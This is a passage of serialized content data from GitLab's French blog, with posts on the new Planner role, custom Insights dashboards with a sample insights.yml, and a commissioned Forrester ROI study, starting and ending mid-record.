l'assistant GitLab avec une supervision humaine.\n\nDans le prochain article de cette série, nous partagerons [les enseignements tirés de l'utilisation de GitLab Duo pour la génération de tests automatisés](https://about.gitlab.com/blog/automating-with-gitlab-duo-part-2-complex-testing/) et comment aborder des situations plus complexes en travaillant de manière interactive avec l'IA.\n\n## En savoir plus sur la génération de tests avec GitLab Duo \n\nGitLab Duo peut être utilisé de plusieurs façons pour générer des tests, consultez les autres options ci-dessous :\n\n* L'interface utilisateur de GitLab \n* [Le Web IDE GitLab (VS Code dans le cloud)](https://docs.gitlab.com/ee/user/project/web_ide/index.html) \n* VS Code, avec l'[extension GitLab Workflow pour VS Code](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow) \n* IDE JetBrains, avec le [plug-in GitLab Duo pour JetBrains](https://plugins.jetbrains.com/plugin/22325-gitlab-duo) \n* Visual Studio pour Windows, avec l'[extension GitLab pour Visual Studio](https://marketplace.visualstudio.com/items?itemName=GitLab.GitLabExtensionForVisualStudio)\n",[699,1069,1951,1067,675],"2025-01-03",{"slug":2073,"featured":6,"template":683},"automating-with-gitlab-duo-part-1-generating-tests","content:fr-fr:blog:automating-with-gitlab-duo-part-1-generating-tests.yml","Automating With Gitlab Duo Part 1 Generating Tests","fr-fr/blog/automating-with-gitlab-duo-part-1-generating-tests.yml","fr-fr/blog/automating-with-gitlab-duo-part-1-generating-tests",{"_path":2079,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2080,"content":2085,"config":2091,"_id":2093,"_type":16,"title":2094,"_source":17,"_file":2095,"_stem":2096,"_extension":20},"/fr-fr/blog/introducing-gitlabs-new-planner-role-for-agile-planning-teams",{"ogTitle":2081,"schema":2082,"ogImage":1536,"ogDescription":2083,"ogSiteName":841,"noIndex":6,"ogType":842,"ogUrl":2084,"title":2081,"canonicalUrls":2084,"description":2083},"Comment le rôle de planificateur aide les équipes Agile","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab inclut désormais un rôle de planificateur pour aider les équipes de planification Agile\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amanda Rueda\"}],\n        \"datePublished\": \"2024-11-25\",\n      }","Découvrez comment le nouveau rôle de planificateur dans GitLab aide les équipes Agile à gérer les workflows de planification.","https://about.gitlab.com/blog/introducing-gitlabs-new-planner-role-for-agile-planning-teams",{"heroImage":1536,"body":2086,"authors":2087,"updatedDate":2029,"date":2088,"title":2089,"tags":2090,"description":2083,"category":1480},"GitLab a créé un nouveau rôle au sein de sa plateforme [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que DevSecOps ?\") : le planificateur. Cette nouveauté s'aligne avec la stratégie de GitLab, qui consiste à fournir des contrôles d'accès flexibles et basés sur les rôles, comme en témoignent les [rôles personnalisés](https://docs.gitlab.com/ee/user/custom_roles.html). Le rôle de planificateur permet aux équipes de développement logiciel et aux utilisateurs spécialisés dans la planification d'accéder aux outils dont ils ont besoin pour gérer leurs workflows Agile, tout en limitant les autorisations trop étendues susceptibles d'introduire des risques inutiles. En adaptant l'accès aux besoins spécifiques des utilisateurs, le rôle de planificateur garantit la productivité des équipes, tout en maintenant la sécurité et la conformité, conformément au [principe de moindre privilège](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/).\n\n## Pourquoi avons-nous créé le rôle de planificateur ?\n\nL'idée nous est venue des retours de nos clients et de nos équipes internes. Il est souvent mentionné que, malgré ses outils complets pour la planification et la gestion des [cycles de développement Agile](https://about.gitlab.com/fr-fr/solutions/agile-delivery/ \"Livraison agile\"), GitLab pouvait manquer de contrôles d'accès plus spécifiques basés sur les rôles. Les chefs de produit, les responsables de projet et les autres utilisateurs impliqués dans la planification ont souvent besoin d'accéder aux fonctionnalités de planification, sans nécessiter des autorisations de développement complètes. Au contraire, il n'est pas souhaitable d'étendre cet accès, car il entraîne une augmentation des risques de sécurité et d'erreurs, telles que des modifications involontaires du code ou des configurations contenant des données sensibles. \n\nNous avons donc mené des entretiens avec des utilisateurs, des analyses concurrentielles et des recherches approfondies, et validé l'intérêt d'un rôle qui accorde un accès complet aux outils de planification, tout en limitant l'accès aux fonctionnalités de développement pour garantir la sécurité.\n\n## Que propose le rôle de planificateur ?\n\nLe rôle de planificateur est un rôle hybride à mi-chemin entre [l'invité et le rapporteur](https://docs.gitlab.com/ee/user/permissions.html#roles). Il est toutefois conçu spécifiquement pour les membres d'équipe qui ont besoin d'accéder aux workflows de planification. \n\nVoici ses particularités :\n\n* L'accès aux principaux outils de planification tels que les epics, les roadmaps, les tableaux des tickets et les [OKR](https://docs.gitlab.com/ee/user/okrs.html) (*certaines fonctionnalités peuvent nécessiter une licence GitLab Premium ou Ultimate*)\n* Une sécurité renforcée qui limite l'accès non requis aux fonctionnalités de développement sensibles\n* Une compatibilité avec le module d'extension GitLab Enterprise Agile Planning, permettant aux équipes de bénéficier d'un accès personnalisé aux outils de planification sans compromettre la sécurité et le contrôle. (*Ce rôle est néanmoins disponible avec toutes les licences*)\n\nLe rôle de planificateur est disponible avec toutes les solutions GitLab, y compris l'édition SaaS de GitLab, GitLab Dedicated et GitLab Auto-géré. Tous les clients bénéficient ainsi de cet accès personnalisé.\n\nCe rôle donne aux équipes la possibilité d'aligner les autorisations sur les fonctions du poste afin d'équilibrer accessibilité et sécurité.\n\n## Comment le rôle de planificateur facilite-t-il les pratiques Agile ?\n\nDans le [développement logiciel Agile](https://about.gitlab.com/fr-fr/blog/gitlab-for-agile-software-development/), il est essentiel de s'assurer que chaque membre de l'équipe dispose des outils et des autorisations adéquates pour optimiser l'efficacité du workflow. Le rôle de planificateur facilite cette approche : il permet la pleine participation aux étapes de planification du cycle de développement logiciel des membres de l'équipe qui en sont responsables, sans affecter des domaines tels que le développement ou le déploiement.\n\nDe la création et de la gestion des epics à la définition des roadmaps, il fournit aux équipes agiles les outils nécessaires pour maintenir leur alignement et leur productivité.\n\n## Une approche centrée sur les clients\n\nCe rôle n'a pas été créé en vase clos. Nous avons impliqué notre communauté à chaque étape du processus. Grâce à des enquêtes, des entretiens et des tests, nous avons ajusté les autorisations pour qu'elles répondent aux besoins réels des chefs de produit et des responsables de projet.\n\nLe rôle de planificateur s'inscrit également dans la mission de longue date de GitLab, qui vise à être une plateforme de référence pour les équipes agiles, en offrant aux entreprises la flexibilité et le contrôle nécessaires pour mettre en œuvre des [méthodologies agiles](https://about.gitlab.com/fr-fr/topics/agile-delivery/agile-methodology/ \"Qu'est-ce que la méthodologie Agile ?\") à grande échelle.\n\n## Les retours et l'engagement de la communauté\n\nNous apprécions votre contribution et vous encourageons à nous donner votre avis sur le nouveau rôle de planificateur. Vos retours sont essentiels pour nous aider à affiner et à améliorer votre expérience sur la plateforme DevSecOps de GitLab. N'hésitez pas à consulter notre [ticket dédié aux retours d'expérience](https://gitlab.com/gitlab-org/gitlab/-/issues/503817) pour nous faire part de vos réflexions et suggestions.\n\n## Commencez à planifier avec GitLab dès aujourd'hui !\n\nLe rôle de planificateur n'est qu'une des nombreuses façons dont GitLab permet aux équipes de développement logiciel de planifier, de collaborer et de livrer des logiciels efficacement. Que vous cherchiez à optimiser vos workflows de gestion de produits, à renforcer la collaboration au sein de votre équipe ou à uniformiser vos pratiques Agile, GitLab vous fournit les outils nécessaires pour votre réussite.\n\n> Vous souhaitez découvrir toute la puissance de GitLab ? [Essayez GitLab Ultimate gratuitement](https://about.gitlab.com/fr-fr/free-trial/) et planifiez vos futurs projets avec notre nouveau rôle de planificateur.",[1477],"2024-11-25","GitLab inclut désormais un rôle de planificateur pour aider les équipes de planification Agile",[1482,1067,675,676],{"slug":2092,"featured":92,"template":683},"introducing-gitlabs-new-planner-role-for-agile-planning-teams","content:fr-fr:blog:introducing-gitlabs-new-planner-role-for-agile-planning-teams.yml","Introducing Gitlabs New Planner Role For Agile Planning Teams","fr-fr/blog/introducing-gitlabs-new-planner-role-for-agile-planning-teams.yml","fr-fr/blog/introducing-gitlabs-new-planner-role-for-agile-planning-teams",{"_path":2098,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2099,"content":2105,"config":2111,"_id":2113,"_type":16,"title":2114,"_source":17,"_file":2115,"_stem":2116,"_extension":20},"/fr-fr/blog/data-driven-devsecops-exploring-gitlab-insights-dashboards",{"title":2100,"description":2101,"ogTitle":2100,"ogDescription":2101,"noIndex":6,"ogImage":2102,"ogUrl":2103,"ogSiteName":841,"ogType":842,"canonicalUrls":2103,"schema":2104},"Créez des tableaux de bord personnalisés avec GitLab Insights","Tirez parti des tableaux de bord GitLab Insights. Visualisez vos indicateurs clés, suivez la progression de vos projets et augmentez la productivité de vos équipes. ","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097210/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2811%29_78Dav6FR9EGjhebHWuBVan_1750097210214.png","https://about.gitlab.com/blog/data-driven-devsecops-exploring-gitlab-insights-dashboards","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Créez des tableaux de bord personnalisés avec GitLab Insights\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ricardo Amarilla Villalba\"}],\n        \"datePublished\": \"2024-11-20\",\n      }\n                  ",{"title":2100,"description":2101,"authors":2106,"heroImage":2102,"date":2108,"body":2109,"category":676,"tags":2110,"updatedDate":1192},[2107],"Ricardo Amarilla Villalba","2024-11-20","Les indicateurs et outils d'analyse sont des éléments indispensables pour stimuler la productivité, garantir la qualité et assurer le succès des équipes de développement logiciel. En tant que plateforme DevSecOps la plus complète, GitLab propose avec ses tableaux de bord GitLab Insights des outils puissants pour suivre et visualiser ces indicateurs essentiels. Découvrez dans cet article comment intégrer les tableaux de bord GitLab Insights à votre environnement.\n\n## Qu'est-ce que GitLab Insights ? \n\nGitLab fournit un éventail d'indicateurs et d'outils d'analyse qui couvrent divers aspects du cycle de vie [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que l'approche DevSecOps ? \") :\n\n1. [Analyse de la productivité](https://docs.gitlab.com/ee/user/analytics/productivity_analytics.html) : suivez la vélocité, la durée de cycle et le délai d'exécution de votre équipe.  \n2. [Analyse des revues de code](https://docs.gitlab.com/ee/user/analytics/code_review_analytics.html) : évaluez la qualité du code, la couverture de test et l'efficacité des revues.  \n3. [Analyse des pipelines CI/CD](https://docs.gitlab.com/ee/user/analytics/ci_cd_analytics.html) : surveillez les performances des pipelines et la fréquence de déploiement.  \n4. [Analyse du flux de valeur](https://docs.gitlab.com/ee/user/group/value_stream_analytics/) : visualisez le workflow, de l'idée au déploiement en production.  \n5. [Informations stratégiques](https://docs.gitlab.com/ee/user/project/insights/) : explorez et visualisez les données relatives à vos projets et groupes.\n\nCes indicateurs fournissent des informations précieuses sur votre processus de développement, permettant aux équipes d'identifier les goulots d'étranglement, d'optimiser les workflows et de prendre des décisions éclairées basées sur des données fiables.\n\n### Tirer parti des labels pour des indicateurs spécifiques\n\nSouvent sous-estimés, les labels figurent pourtant parmi les fonctionnalités les plus puissantes de GitLab. Ils permettent de filtrer et de cibler exactement les indicateurs qui vous intéressent. En appliquant stratégiquement des labels aux tickets, aux merge requests et aux epics, vous pouvez créer des vues personnalisées qui fournissent des informations détaillées sur la performance et la progression de votre projet.\n\nEn ajoutant des labels dans GitLab, vous pouvez facilement regrouper et organiser vos tâches selon vos propres critères, pour un suivi plus clair et plus efficace. Que vous suiviez le développement de fonctionnalités, les corrections de bogues ou les tâches spécifiques à une équipe, les labels vous permettent de segmenter les données de votre projet pour faire émerger des tendances claires. Ce concept est semblable à l'utilisation de tags dans les déploiements cloud, où les ressources sont étiquetées pour faciliter la gestion, la répartition des coûts et les informations opérationnelles.\n\nEn attribuant judicieusement des labels à vos éléments de travail, vous mettez en place un système de catégorisation avancé, idéal pour créer des tableaux de bord et des rapports sur mesure. Grâce à cette approche, vous pouvez cibler les indicateurs essentiels pour votre équipe ou vos parties prenantes, avec à la clé une vue claire et précise de l'état et de la dynamique de votre projet.\n\n## Comment configurer GitLab Insights ?\n\nGitLab Insights vous permet d'explorer et de visualiser les données relatives à vos projets et à vos groupes. GitLab Insights fournit des analyses précieuses sur divers aspects : les tickets créés et fermés au cours d'une période donnée, le temps moyen nécessaire pour fusionner des merge requests et la qualité du classement par ordre de priorité. GitLab Insights peut être configuré à la fois pour les projets et les groupes.\n\nPour configurer GitLab Insights :\n\n1. Pour les informations stratégiques liées au projet :  \n   * Créez un fichier nommé `.gitlab/insights.yml` dans le répertoire racine de votre projet.  \n2. Pour les informations stratégiques liées au groupe :  \n   * Créez un fichier `.gitlab/insights.yml` dans un projet appartenant à votre groupe.  \n   * Accédez aux paramètres de votre groupe.  \n   * Développez la section **Analyse** et cliquez sur **Analyses**.  \n   * Sélectionnez le projet contenant le fichier de configuration et enregistrez les modifications.\n\nLe fichier `.gitlab/insights.yml` est un fichier YAML qui sert à organiser vos rapports : il permet de structurer l'ordre des graphiques et de définir leur apparence. Chaque graphique est défini avec des paramètres comme le titre, la description, le type et la requête pour déterminer la source des données et les conditions de filtrage.\n\nPour afficher les informations, accédez à **Analyse > Analyses** dans votre projet ou groupe.\n\n![Afficher le tableau de bord GitLab Insights par défaut](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097218/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097217972.png)\n\nLa vue par défaut fournit des données utiles, mais en personnalisant le tableau de bord GitLab Insights, vous pouvez aller encore plus loin pour voir, par exemple, l'équipe à l'origine de chaque merge request ou la nature des problèmes traités.\n\n### Informations sur les merge requests pour chaque squad et type de besoin\n\nMesurer la productivité d'une squad dans GitLab n'est pas toujours évident, surtout lorsque l'organisation des groupes et sous-groupes ne reflète pas fidèlement la structure réelle de votre squad. Voici comment surmonter ces défis et suivre efficacement la productivité des squads :\n\n### Configuration des indicateurs en fonction des squads\n\n1. **Création de labels :** créez des labels à portée limitée spécifiques à chaque squad (par exemple, `squad::alpha`, `squad::beta`) et à chaque type d'exigence (par exemple, `type::bug`, `type::feature`, `type::maintenance`).\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/ZUOzORIUJeU?si=T8eHeGizS3blYFHB\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n2. **Application des labels :** appliquez systématiquement ces labels à tous les tickets et merge requests traités par chaque squad, quel que soit le projet ou le groupe auquel ils appartiennent.  \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/fJ9entEBZG8?si=MlM6mKirEdkmwDDJ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n**Conseils :**  \n   * Utilisez l'API GitLab pour appliquer massivement des labels aux merge requests ouvertes, fusionnées et fermées existantes.  \n   * Ajoutez, supprimez ou mettez à jour des labels dans le cadre de votre pipeline GitLab CI.  \n   * Utilisez le bot de tri des tickets de GitLab pour automatiser l'ajout de labels.  \n\n3. **Configuration du tableau de bord :** créez un fichier `.gitlab/insights.yml` dans le dépôt de votre projet avec des graphiques personnalisés pour obtenir des informations sur les merge requests spécifiques à l'équipe et au type.\n\n```\n\n## Default Merge Requests insights.yml \nmergeRequests:\n  title: Merge requests dashboard\n  charts:\n    - title: Merge requests merged per week \n      type: bar\n      query:\n        data_source: issuables\n        params:\n          issuable_type: merge_request\n          issuable_state: merged\n          group_by: week\n          period_limit: 12\n    - title: Merge requests merged per month\n      type: bar\n      query:\n        data_source: issuables\n        params:\n          issuable_type: merge_request\n          issuable_state: merged\n          group_by: month\n          period_limit: 3\n\n## Per-teams Merge Requests insights.yml\nmergeRequestsTeams:\n  title: Merge requests dashboard per teams\n  charts:\n    - title: Merge requests merged per week \n      type: stacked-bar\n      query:\n        data_source: issuables\n        params:\n          issuable_type: merge_request\n          issuable_state: merged\n          group_by: week\n          period_limit: 12\n          collection_labels:\n            - squad::alpha\n            - squad::beta\n    - title: Merge requests merged per month\n      type: stacked-bar\n      query:\n        data_source: issuables\n        params:\n          issuable_type: merge_request\n          issuable_state: merged\n          group_by: month\n          period_limit: 3\n          collection_labels:\n            - squad::alpha\n            - squad::beta\n\n## Per-teams and Type Merge Requests insights.yml\nmergeRequestsTeamsAndType:\n  title: Per Teams and Type - Merge requests dashboard\n  charts:\n    - title: Merge requests merged per week - Squad Alpha\n      type: stacked-bar\n      query:\n        data_source: issuables\n        params:\n          issuable_type: merge_request\n          issuable_state: merged\n          filter_labels: squad::alpha\n          collection_labels:\n            - type::feature\n            - type::bug\n            - type::maintenance\n          group_by: week\n          period_limit: 12\n    - title: Merge requests merged per month - Squad Alpha\n      type: stacked-bar\n      query:\n        data_source: issuables\n        params:\n          issuable_type: merge_request\n          issuable_state: merged\n          filter_labels: squad::alpha\n          collection_labels:\n            - type::feature\n            - type::bug\n            - type::maintenance\n          group_by: month\n          period_limit: 3\n    - title: Merge requests merged per week - Squad Beta\n      type: stacked-bar\n      query:\n        data_source: issuables\n        params:\n          issuable_type: merge_request\n          issuable_state: merged\n          filter_labels: squad::beta\n          collection_labels:\n            - type::feature\n            - type::bug\n            - type::maintenance\n          group_by: week\n          period_limit: 12\n    - title: Merge requests merged per month - Squad Beta\n      type: stacked-bar\n      query:\n        data_source: issuables\n        params:\n          issuable_type: merge_request\n          issuable_state: merged\n          filter_labels: squad::beta\n          collection_labels:\n            - type::feature\n            - type::bug\n            - type::maintenance\n          group_by: month\n          period_limit: 3\n\n```\n\nEn personnalisant vos tableaux de bord, vous bénéficiez d'une vue d'ensemble claire de l'activité des merge requests, classée par équipe et par type. Vous pouvez ainsi suivre l'évolution dans le temps, comparer les performances entre les squads et visualiser comment le travail est réparti entre elles.\n\n![tableaux de bord permettant de visualiser l'activité des merge requests par équipe et par type de besoin](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097218/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097217972.png)\n\n![tableau de bord comparant les performances entre les squads](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097218/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097217974.png)\n\n## Lancez-vous dès aujourd'hui\n\nEn matière d'indicateurs et d'outils d'analyse, les tableaux de bord GitLab Insights ne sont que la partie émergée de l'iceberg. Pour explorer toute la gamme de fonctionnalités d'analyse de GitLab, notamment l'analyse du flux de valeur, l'analyse des [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\") et les indicateurs liés aux revues de code, cliquez sur l'image ci-dessous et découvrez comment optimiser le développement de logiciels avec la gestion de la chaîne de valeur. \n\n[![Visite guidée du produit de gestion de la chaîne de valeur](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097218/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2024-11-20_at_12.28.08_PM_aHR0cHM6_1750097217976.png)](https://gitlab.navattic.com/vsm)\n\n> Et si vous commenciez à créer vos propres tableaux de bord ? [Essayez GitLab Ultimate gratuitement]( https://gitlab.com/-/trials/new?glm_content=default-saas-trial&glm_source=about.gitlab.com%2F) et exploitez pleinement le potentiel de l'approche DevSecOps fondée sur les données.\n",[110,1067,676,675,1069,1708],{"slug":2112,"featured":92,"template":683},"data-driven-devsecops-exploring-gitlab-insights-dashboards","content:fr-fr:blog:data-driven-devsecops-exploring-gitlab-insights-dashboards.yml","Data Driven Devsecops Exploring Gitlab Insights Dashboards","fr-fr/blog/data-driven-devsecops-exploring-gitlab-insights-dashboards.yml","fr-fr/blog/data-driven-devsecops-exploring-gitlab-insights-dashboards",{"_path":2118,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2119,"content":2125,"config":2131,"_id":2133,"_type":16,"title":2134,"_source":17,"_file":2135,"_stem":2136,"_extension":20},"/fr-fr/blog/gitlab-ultimates-total-economic-impact-483-roi-over-3-years",{"title":2120,"description":2121,"ogTitle":2120,"ogDescription":2121,"noIndex":6,"ogImage":2122,"ogUrl":2123,"ogSiteName":841,"ogType":842,"canonicalUrls":2123,"schema":2124},"Impact économique total de GitLab Ultimate : 483 % de ROI sur 3 ans","Découvrez les principales conclusions de l'étude Forrester Consulting consacrée à l'édition GitLab Ultimate, disponible sur la plateforme DevSecOps de GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098354/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%281%29_5XrohmuWBNuqL89BxVUzWm_1750098354056.png","https://about.gitlab.com/blog/gitlab-ultimates-total-economic-impact-483-roi-over-3-years","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Impact économique total de GitLab Ultimate : 483 % de ROI sur 3 ans\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dave Steer\"}],\n        \"datePublished\": \"2024-11-13\",\n      }\n                  ",{"title":2120,"description":2121,"authors":2126,"heroImage":2122,"date":2127,"body":2128,"category":827,"tags":2129,"updatedDate":2130},[1191],"2024-11-13","Une plateforme DevSecOps puissante rationalise les opérations, empêche les failles de sécurité de perturber (et de coûter cher à) votre entreprise, augmente la productivité et favorise une culture basée sur l'innovation et la collaboration. C'est exactement ce pour quoi nous avons créé GitLab, et l'édition GitLab Ultimate représente toute la puissance de notre plateforme. Pour connaître son influence concrète, nous avons demandé à Forrester Consulting de réaliser une étude « Total Economic Impact™ » sur GitLab Ultimate. Découvrez dans cet article les principales conclusions de cette étude. \n\nSelon les retours des clients interrogés, l'utilisation de GitLab génère à l'entreprise de référence :  \n\n* **Un retour sur investissement de 483 % sur trois ans**  \n* **Une amélioration de 400 % de la productivité des équipes de développement**  \n* **Une première mise en production 15 fois plus rapide\u003Csup>1\u003C/sup>**  \n* **Un gain de temps multiplié par 5 pour les tâches liées à la sécurité**\n\n**En somme, GitLab permet d'accomplir 50 % de travail à valeur ajoutée en plus.** \n\nLes chiffres parlent d'eux-mêmes : la plateforme GitLab transforme  la manière dont les équipes collaborent entre elles. Que vous soyez un responsable de la sécurité des applications chargé d'améliorer la posture de sécurité de votre entreprise, un membre de l'équipe de développement qui cherche à fournir un code de haute qualité plus rapidement ou encore un CTO à la recherche d'une plateforme DevSecOps évolutive, sécurisée et flexible, cette étude (dont la méthodologie complète est disponible ci-dessous) montre que GitLab Ultimate tient ses promesses. Examinons les résultats de l'étude.  \n\n> Téléchargez l'étude complète de [Forrester Consulting intitulée « The Total Economic Impact™ Of GitLab Ultimate » (2024)](https://about.gitlab.com/resources/study-forrester-tei-gitlab-ultimate/).\n\n## 1. Un ROI de 483 % sur trois ans\n\n*« La clé du succès pour nous a été le gain d'efficacité, à la fois au niveau de l'administration et des opérations globales. Aujourd'hui, le travail en équipe est accessible à tous et nous pouvons facilement automatiser notre pipeline. Je peux également changer la composition des équipes pour effectuer différentes tâches plus efficacement. Au lieu de former nos équipes sur différents outils en fonction des programmes, il leur suffit désormais de maîtriser GitLab pour pouvoir immédiatement se mettre au travail. »* - CTO et Senior Vice President (secteur de la Défense)\n\nL'étude révèle que les entreprises interrogées ont constaté un retour sur investissement dans les six mois suivant l'adoption de GitLab Ultimate, principalement grâce à une efficacité accrue. Avec un **retour sur investissement de 483 % sur trois ans**, elles ont pu réduire le coût de leur chaîne d'outils logiciels de 25 % et le temps consacré par leurs équipes informatiques à l'administration de ces chaînes d'outils complexes de 75 %. Au-delà des économies financières réalisées, le passage à une plateforme unifiée améliore fondamentalement la façon dont les équipes développent et livrent les logiciels.\n\n## 2. Une amélioration de la productivité de 400 %\n\n*« Lorsque j'échange avec les membres de notre équipe de développement à propos de GitLab, ils s'accordent tous sur le fait que son utilisation a augmenté la productivité de notre entreprise, à tous les niveaux et à tous les postes. Nous disposons aujourd'hui d'une plateforme dotée de fonctions et fonctionnalités accessibles à tous nos collaborateurs. »* - Software Architect, (secteur de l'énergie et de la recherche)\n\nLes équipes de développement travaillent mieux dans des environnements où ils peuvent facilement passer d'une tâche à l'autre sans interruptions. Selon cette étude, les développeurs et développeuses peuvent gagner jusqu'à 305 heures par an en [automatisant les tests](https://about.gitlab.com/fr-fr/topics/devops/devops-test-automation/) dans GitLab. Ils peuvent ainsi tester plus souvent, mais aussi suivre et corriger les bugs plus rapidement, le tout au sein d'une seule interface et donc sans changement de contexte. Ce workflow rationalisé leur permet de se concentrer sur le code plutôt que de jongler avec plusieurs outils et processus.\n\nLes gains de productivité s'étendent également à l'intégration : les nouvelles recrues de l'équipe de développement logiciel de l'entreprise de référence atteignent une productivité optimale 75 % plus rapidement (c'est-à-dire en 1,5 semaine au lieu de 1,5 mois). L'impact est clair : non seulement tous les membres de l'équipe peuvent contribuer à des tâches importantes, mais ils peuvent le faire plus tôt. \n\n## 3. Une première mise en production 15 fois plus rapide\n\n*« Le logiciel est notre botte secrète. Les éléments clés sont notre vélocité et notre capacité à offrir de nouvelles fonctionnalités à nos clients. Pour pouvoir nous concentrer sur ces objectifs premiers, il était logique d'un point de vue économique de \\[consolider\\] nos processus sur une plateforme unique. »* - CTO et Senior Vice President (secteur de la Défense)\n\nL'agrégation des données issues des entretiens avec nos clients révèlent que GitLab permet aux entreprises de déployer une première mise en production 15 fois plus rapidement. Cette accélération est facilitée par le démarrage plus rapide des projets, le déploiement plus fréquent de nouvelles versions, sans oublier une approche proactive de la sécurité qui intègre de manière native le scanning de sécurité dès le début du processus de développement. Il est ainsi possible de maintenir une qualité et une sécurité de haut niveau pour les logiciels, même dans le cadre d'une vélocité accrue, car les équipes de développement sont capables de remédier aux problèmes rapidement, dès leur apparition. \n\nL'[intégration de la sécurité directement dans le processus de développement](https://about.gitlab.com/solutions/security-compliance/) permet aux équipes d'identifier, de prioriser et de corriger les failles de sécurité sans interrompre leur workflow. Cette approche unifiée de la gestion de l'ensemble du cycle de développement logiciel permet aux équipes de progresser plus rapidement sans sacrifier la sécurité.\n\n## 4. Un gain de temps multiplié par 5 pour les tâches liées à la sécurité\n\n*« L'intégration des scanners de sécurité et de qualité dans le pipeline a changé la donne. Grâce à une automatisation accrue et à la réduction des processus manuels, nos pipelines rencontrent moins d'échecs, moins de problèmes et les projets avancent plus rapidement. »* - Program Manager (secteur financier) \n\nFace à l'accélération du développement et à l'évolution des menaces, la sécurité reste une priorité absolue pour toutes les entreprises. GitLab permet aux membres des équipes chargées de la sécurité de l'entreprise de référence d'économiser **78 heures par membre et par an** en automatisant les tâches récurrentes telles que la préparation à la reprise après sinistre, les audits et les contrôles de conformité. GitLab améliore également la visibilité des processus de développement logiciel, en aidant les équipes dédiées à la sécurité et au développement à mieux collaborer.  \n\nPour les équipes de cybersécurité et de développement logiciel de l'entreprise de référence, **la gestion et la réduction des risques de sécurité tout au long du cycle de développement logiciel nécessitent désormais 81 % d'efforts en moins.** En effet, GitLab leur permet d'intégrer des protocoles et des scans de sécurité à chaque étape du cycle de développement logiciel, ce qui simplifie le maintien de normes de sécurité strictes. Grâce à l'intégration des tests de sécurité et des mesures correctives dans les pipelines, les équipes réduisent les temps de réponse moyens et empêchent les problèmes d'atteindre l'environnement de production. \n\n## Découvrez l'approche DevSecOps en action\n\nAvec un retour sur investissement de 483 %, un amortissement rapide et d'innombrables exemples de réussites, GitLab est un outil inestimable pour les entreprises qui cherchent à transformer leurs processus de développement logiciel.\n\n> Pour découvrir les avantages de GitLab pour votre entreprise, téléchargez dès maintenant l'étude complète de [Forrester Consulting intitulée « The Total Economic Impact™ Of GitLab Ultimate »](https://about.gitlab.com/resources/study-forrester-tei-gitlab-ultimate/).\n\n**Méthodologie**  \n\n*Dans le cadre de cette étude, Forrester a interrogé quatre clients ayant adopté GitLab Ultimate et exerçant dans divers secteurs (notamment celui de la Finance, de la Défense et de la Recherche), puis a consolidé les résultats sous la forme d'une entreprise de référence. L'objectif pour cette entreprise de référence est d'adopter GitLab Ultimate pour l'ensemble de ses équipes sur une période de trois ans.*\n\n*L'entreprise de référence est une société au capital de 5 milliards de dollars, qui compte 5 000 employés (dont 40 % sont impliqués dans la livraison de logiciels) et 50 % de son chiffre d'affaires annuel dépend du développement logiciel. Ses objectifs sont de consolider plusieurs outils sous la forme d'une plateforme intégrée unique, d'améliorer la productivité de son équipe de développement, de garantir le respect des réglementations du secteur et de ses politiques internes, et de renforcer la sécurité tout au long du cycle de développement.*\n\n*1. Sur la base de données agrégées issues des entretiens avec nos clients ; non applicable aux résultats de l'entreprise de référence.*",[1067,1195,827,673],"2024-11-26",{"slug":2132,"featured":92,"template":683},"gitlab-ultimates-total-economic-impact-483-roi-over-3-years","content:fr-fr:blog:gitlab-ultimates-total-economic-impact-483-roi-over-3-years.yml","Gitlab Ultimates Total Economic Impact 483 Roi Over 3 Years","fr-fr/blog/gitlab-ultimates-total-economic-impact-483-roi-over-3-years.yml","fr-fr/blog/gitlab-ultimates-total-economic-impact-483-roi-over-3-years",{"_path":2138,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2139,"content":2145,"config":2152,"_id":2154,"_type":16,"title":2155,"_source":17,"_file":2156,"_stem":2157,"_extension":20},"/fr-fr/blog/introducing-the-source-insights-for-the-future-of-software-development",{"title":2140,"description":2141,"ogTitle":2140,"ogDescription":2141,"noIndex":6,"ogImage":2142,"ogUrl":2143,"ogSiteName":841,"ogType":842,"canonicalUrls":2143,"schema":2144},"The Source : une mine d'informations sur l'avenir du développement logiciel","Découvrez des stratégies de développement logiciel transformatrices et des conseils d'experts sur les technologies 